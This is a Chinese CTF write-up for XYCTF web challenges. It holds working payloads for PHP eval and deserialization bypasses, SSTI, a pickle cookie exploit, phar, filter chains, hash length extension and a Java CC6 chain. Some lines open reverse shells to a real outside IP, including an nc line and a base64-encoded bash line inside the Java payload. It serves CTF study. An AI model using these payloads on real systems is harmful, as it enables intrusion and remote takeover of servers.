仅作wp记录用,不宣泄任何情绪,仅作知识分享
牢牢记住,逝者为大
想你了牢大
题目源码如下:
1 |
|
可以看到这里好多限制:
- 长度限制小于等于13
- 命令执行的几个函数都被过滤了
- 对于val,也就是我们传入的值进行了限制,不能够是上面的
bin|mv|cp|ls|\||f|a|l|\?|\*|\>/
- eval前后都有脏数据
这里其实过滤倒是其次,这边要考虑的更重要的是两个方面:长度限制和脏数据
我这边的思路经历了以下的流程:
- 数组绕过strlen
但是发现不太行,因为我们知道字符串拼接之后数组会直接变成Array:
所以肯定是不行的,只能够老老实实用13个字符限制做这个题
- 执行命令
这里我先把Kobe的限制去掉了,变成:
1 | $cmd = $_GET['cmd']; |
这样先测试命令执行
可以看到eval里面前面是一个#
,也就是一个注释符,它能够将后面的内容都注释掉。
所以我们就算写好了cmd也没用,只能够注释掉
但是#
和//
是一样的,都是单行注释符,所以我们只需要换行即可,加个%0a
就可以绕过前面的限制
后半段呢,我打算是用__HALT_COMPILER();
直接终止编译成字符串的,乍看之下它可行,但是实际上这个函数本身就已经超过了13个字符的限制,更不要谈getshell
在这里我就卡住了一会,因为这个HALT_COMPILER
我的印象比较深刻
然后我想着想着突然茅塞顿开,前面的#
注释能不能能用到后面去呢?
然后我就测试了一下:
1 | %0asystem('dir');# |
当然这个#
要用urlencode成%23
答案是可以的:
本地测试dir有结果
所以前后都确定了:
1 | %0a + shell + %23 |
接下来就是在11个字符的限制下打一个shell
想起p神的最短webshell:
你猜怎么着,刚好11个长度
payload那就呼之欲出了
1 | %0a`$_GET[1]`;%23&1=dir>1.txt |
回到题目,还对>
做出了限制
所以我这里打算打一个反弹shell,刚刚好题目是出网的:
1 | %0a`$_GET[1]`;%23&1=nc%20106.52.94.23%202333%20-e%20sh |
warm up
第一层就是简单的md5
1 |
|
用下面这个链接全秒了:
反序列化-md5和sha1绕过_md5反序列化-CSDN博客
弱等不想想,直接用数组:
1 | val1[]=1&val2[]=2 |
下面双md5,在上面的文章随便挑一个就行了
1 | md5=0e215962017 |
最后这个,我们要先看看这个XYCTF_550102591
md5之后是什么东西
其实还是个0e开头的md5,那就简单了
利用extract
将XYCTF覆盖成和XY一致的变量:
1 | XYCTF=s878926199a&XY=s878926199a |
到达第二关:
LLeeevvveeelll222.php
1 |
|
preg_match
,用数组绕:
1 | a[]=1 |
下面这个preg_replace有点特别,估计是利用\e
来执行命令
1 | preg_replace('/(\S*)/ei','strtolower("\\1")', '{${phpinfo()}}'); |
抄一下:
1 | a=/(\S*)/ei&b=system('ls')&c=1 |
出了:
1 | a=/(\S*)/ei&b=system('cat /flag')&c=1 |
Make File
直接命令执行
1 | echo $(shell cat /flag) |
ezmd5
两张图片如下:
ezhttp
登录框,f12找到提示藏在某个地方
其实这个时候可以dirsearch开搜
但是这边可以猜一猜,猜到了robots.txt:
访问这个txt
1 | username: XYCTF |
然后拿hackbar操一下:
ezpop
看到有个throw Exception
就可以想到利用gc回收机制来绕过
链子终点BBB->__get
通过AAA->__toString
访问BBB类的$p
来进入BBB
通过CCC->destruct
进入toString
链子:
1 | CCC::__destruct() -> AAA::__toString() -> BBB::__get() |
但是这里要简单的测一下中间这个:
1 | if (isset($b['a'])) { |
弄出来是个什么东西
这里出了个套娃,简单地看一下
1 | call_user_func($a,$b)($c)($d); |
其实就是相当于用call_user_func调用函数A,通过A(d)实现rce
那么要怎么挑选呢?
首先可以根据$b
是一个数组可以确定$a
是一个获取到数组的键或者值的函数,无参rce里的几个函数可以利用得到
我这边就挑选了array_rand,不过他是随机的,但是数组长度只有1,所以array_rand
就是确定的
通过array_rand
能够获取到键名,而且它的键名是一个函数名,我这边选了hex2bin
利用hex2bin
来调用system:
1 | hex2bin('73797374656d'); |
利用system获取到flag即可,exp如下:
1 |
|
ez?make
反引号命令执行反弹shell:
可以看到源码过滤了这些
我是一个复读机
其实这个题一句话就可以带过:
弱密码爆破+requests.values.xx
传参绕ssti
弱密码选了个asdqwe
,用fuzzdict-master可以爆的出来(某集团常用弱口令字典
)
输入框输入中文以后出的大括号才是ssti用的大括号
🤔,总之就是中文这块比较难想。还是队友帮忙测出来的
找一下os_warp_close:
1 | #http://xyctf.top:52468/index?sentence=()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(1)%E5%95%8A%E5%95%8A&a=__class__&b=__base__&c=__subclasses__&d=__getitem__ |
payload很简单:
1 | ?sentence=(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()啊啊&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag |
加两个中文就有两个大括号,ssti
用admin asdqwe
登录即可,ssti完了简单扒个源码
1 | from flask import * |
ezSerialize
第一层:
1 |
|
来到/fpclosefpclosefpcloseffflllaaaggg.php
(第二层)
终点类:
C::__call
链子:
1 | C::__call <- A:: __invoke <- B::__get <- D::__toString <- E::__unserialize |
不知道为什么打不上去
绕wakeup的,版本估计是7.3了,,:
1 | O:11:"ArrayObject":4:{i:0;i:0;i:1;O:1:"E":2:{s:4:"name";s:5:"xxxxx";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}i:2;a:0:{}i:3;N;} |
不绕的:
1 | O:1:"E":2:{s:4:"name";s:5:"xxxxx";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}} |
你妈的,为什么打不了
我操,原来要把name置成null:
1 |
|
第三层,链子自己看吧,主要利用到一个stdClass()
,可以看一下这位师傅的博客php反序列化小记(1),没什么好说的,链子都是能看得出来的,具体原理大概是如果题目当中没有能够反序列化获取属性的对象,那么可以用stdClass类,这是一个php的内置类
:
1 |
|
exp:
1 |
|
连连看到底是连连什么看
源码大概如下,记不清了:
1 |
|
原理都在_rev1ve
神的博客文章上有
因为base64只能接受[A-Za-z0-9+/=]
,所以其他的不可见字符一旦进入到decode流程就会被忽略
所以很简单,套就是了,一直decode直至只剩下XYCTF
找到一个php_filter_chain_generator.py
,挺高级的利用了,它支持任意的payload写入:
1 | #!/usr/bin/env python3 |
exp:
1 | python3 php_filter_chain_generator.py --chain Vm1wQ1lXTXhTa2RYYTFwWVZWRQ |
反正多套几层base64肯定能出,实在不行就从XYCTF一步步套上去
ezrce
原理和CTFShow极限rce一致,探姬师傅有个脚本,一把梭了…
并不(
记得加bash的符号就可以了
payload:
1 | 0<<<$0\<\<\<\$\'\\173\\143\\141\\164\\54\\57\\146\\154\\141\\147\\175\\174\\142\\141\\163\\145\\66\\64\' |
去base64解码
pharme
测试可得允许上传的后缀为jpg
class.php是一个简单的无参RCE,利用__HALT_COMPILER();
终止编译即可
exp:
1 |
|
1 |
|
要绕过phar头,用下面的脚本:
1 | from hashlib import sha1 |
触发phar:
1 | compress.zlib://phar://xxx |
我好像用的是第一个触发的
先传ezxyy2.jpg
检测请求头,找到数组的最后一个元素
然后再传ezxyy.jpg
打rce
ezClass
水题
1 |
|
利用php的Error类带出信息即可:
1 | new Error()->getMessage()能够获取到字符串 |
1 | a=Error&b=Error&aa=system&bb=cat /f*&c=getMessage |
εZ?¿м@Kε¿?
打开f12发现了hint.php
,发现匹配规则如下:
1 | /^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/ |
这个正则的意思是匹配除了中括号以内的字符
也就是白名单只有这些符号
而且测试发现payload长度<8
也就是最多只能够用7的长度来执行
其实这里可以爆破()
生成一个11^7+11^6+11^5+11^4+11^3+11^2+11
的字典即可((
然后本地测试()
测试发现:makefile里的$<
就是/flag,但是没有直接读取的权限
这里结合一下linux的东西 $()
也能够执行命令,<
能够将东西输入到命令里,直接读取不行就用这样的方式读取:
1 | $(</flag) |
将/flag
重新定向到一个bash -i
里
外部相当于bash -c
其实就相当于bash -c "bash -i /flag"
替换一下/flag
就是$<
payload:
1 | $(<$<) |
login
如果注意到这个题有个register.php
的话就能够解决了
但是wsrx这个不给扫= =
/register.php
注册一个账号,然后登录,发现啥也没有
下意识打开F12,发现了cookie这里有个Rememberme
下意识以为是shiro
,然后高高兴兴地去拿shiro的工具打,发现根本不行
man!
然后才仔细看看它的cookie:
1 | RememberMe=gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg== |
一坨AAAA,其实这里是pick的特征
看看base64
能直接解码显然不对劲了,还有一个app
这里很明显是python的服务器,那这个cookie经过base64decode的是啥呢?
搜一下就知道
百度:ctf RememberMe
发现是pickle的特征,这下就合理多了
那简单,打pick反序列化就对了,发现还有waf的,直接打不太行
发现过滤的是关键字,比如import
,system
等
但是os没有被过滤,这个时候直接用os.popen
就好了:
1 | import pickle |
反弹shell,源码如下:
1 | import hashlib |
give me flag
哈希长度拓展攻击。
讲下原理吧。
md5的算法流程
对于一个字符串,其二进制长度=字符串长度*2*4
比如对于64个a
,其二进制长度就会是64*2*4=512
对于MD5算法来说,要对原数据进行分块处理,以512个二进制数据为一块,直到最后的数据块,分为以下两种情况:
- 长度<=448时,则会填充padding(无意义数据)使其长度达到448,再添加原始明文数据的二进制长度信息直到512位
- 长度>448且<512时,填充padding到下一块的448位,再添加二进制长度信息至512位
将数据分块后就可以进行md5运算了
初始向量是确定的:
1 | A=0x67452301 |
经过运算即可获得MD5值
而这个运算,对于一个确定的md5,可以通过一定的规则将md5转成secret+xxx
的md5值
具体的过程可以看这篇文章:浅谈HASH长度拓展攻击 - Yunen的博客 - 博客园 (cnblogs.com),膜拜师傅Orz
哈希长度拓展攻击一般都推荐hashpump
但是我觉得hexpand更加好用:
1 | -t 明文加密方式 |
1 | ./hexpand -t md5 -s abcdefg -l 43 -m xxxx #把这个xxxx换成时间戳,abcdefg换成你的md5 |
这个43怎么来的呢?因为web的动态flag格式是:
1 | flagname{uuid.uuid4()} |
找个其他靶机看看flag格式也行,前缀flagname是XYCTF
,uuid.uuid4()
的长度是36,加起来就是43了
由于这里题目给的是$flag.$value.$time
,其中$time=time()
,我们需要对时间戳进行预测提交,又由于提交时靶机有延迟,所以这里要测以下请求的时间差
$value.$time
是我们要追加的信息,但是$time
已经写好了,所以我们生成的md5时追加的信息要删掉
经过我测试大概提交时间和实际时间有三秒钟左右的延迟(计算两次请求的时间差),写出python脚本如下:
1 | import requests |
ezLFI
源码:
1 | include_once($_REQUEST['file']); |
filterchain秒杀:
1 | import requests |
Baby_Unserialize(赛后复现)
这里真的测了很久…
黑盒java,出网,urldns链能打
想用cc链,但是根本打不得一点,直接返回HOW DARE YOU
这就难办了,也不知道后台有啥gadget,只能盲测一波。这里想到了[用urldns链探测gadget][https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA]
🤔,改一下测gadget:
1 | BadAttributeValueExpException 可行 |
。。。。。。。。
还有很多,就不放出来了
逆天,啥gadget都没
这里就在想它到底是怎么过滤的了。
测得关键字commons.collections
被干掉了,🤔
这里还在想他是不是用serialkiller或者是其他的方式,比如常见的resolveClass
给ban掉了,然后用一种很新的day给绕过
百思不得其解,只能去找找绕waf的方式
找是找到了,回忆飘如雪师傅的两个方式:
- 加大量脏数据
- 延时分块传输
都没解,这么为难我一个小萌新干啥捏。。
遂放弃。
但其实是自己想太多了。。
还有一种可能就是只检测了解码后的String是否含有commons.collections
,毕竟如果直接重写resolveClass
就是无解的命题
只需要绕commons.collections
即可:
cc6:
1 | package com.Err0r233; |
工具类:
1 | package com.Err0r233; |
1 | package gdufs.challenge.web; |
payload url编码一下打过去就可以了
1 | payload=rO0ABXNyADPggarggaHggbbggaHggK7ggbXggbTgganggazggK7ggYjggaHggbPggajggY3ggaHggbAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXNyAJzgga%2FggbLggafggK7ggaHggbDggaHggaPggajggaXggK7ggaPgga%2Fgga3gga3gga%2Fgga7ggbPggK7ggaPgga%2FggazggazggaXggaPggbTggangga%2Fgga7ggbPggK7ggavggaXggbnggbbggaHggazggbXggaXggK7ggZTgganggaXggaTggY3ggaHggbDggYXgga7ggbTggbLggbmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWFhc3IAfuCBr%2BCBsuCBp%2BCAruCBoeCBsOCBoeCBo%2BCBqOCBpeCAruCBo%2BCBr%2BCBreCBreCBr%2BCBruCBs%2BCAruCBo%2BCBr%2BCBrOCBrOCBpeCBo%2BCBtOCBqeCBr%2BCBruCBs%2BCAruCBreCBoeCBsOCAruCBjOCBoeCBuuCBueCBjeCBoeCBsG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgCu4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGD4IGo4IGh4IGp4IGu4IGl4IGk4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgCH4IGb4IGM4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGy4IC7vVYq8dg0GJkCAAB4cAAAAARzcgCx4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGD4IGv4IGu4IGz4IG04IGh4IGu4IG04IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAM%2BCBquCBoeCBtuCBoeCAruCBrOCBoeCBruCBp%2BCAruCBkuCBteCBruCBtOCBqeCBreCBpQAAAAAAAAAAAAAAeHBzcgCu4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGJ4IGu4IG24IGv4IGr4IGl4IGy4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyh%2Bj%2Fa3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgA54IGb4IGM4IGq4IGh4IG24IGh4ICu4IGs4IGh4IGu4IGn4ICu4IGP4IGi4IGq4IGl4IGj4IG04IC7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1lcHQACWdldE1ldGhvZHVyADbggZvggYzggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggYPggazggaHggbPggbPggLurFteuy81amQIAAHhwAAAAAnZyADDggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggZPggbTggbLggangga7ggaeg8KQ4ejuzQgIAAHhwdnEAfgAcc3EAfgATdXEAfgAYAAAAAnBwdAAGaW52b2tldXEAfgAcAAAAAnZyADDggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggY%2FggaLggarggaXggaPggbQAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQAXWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmk5a1pYWXZkR053THpFd05pNDFNaTQ1TkM0eU15OHlNek16SURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfXQABGV4ZWN1cQB%2BABwAAAABcQB%2BAB9zcQB%2BAAA%2FQAAAAAAADHcIAAAAEAAAAAB4eHQAA2JiYng%3D |
shell弹过来了,flag is in env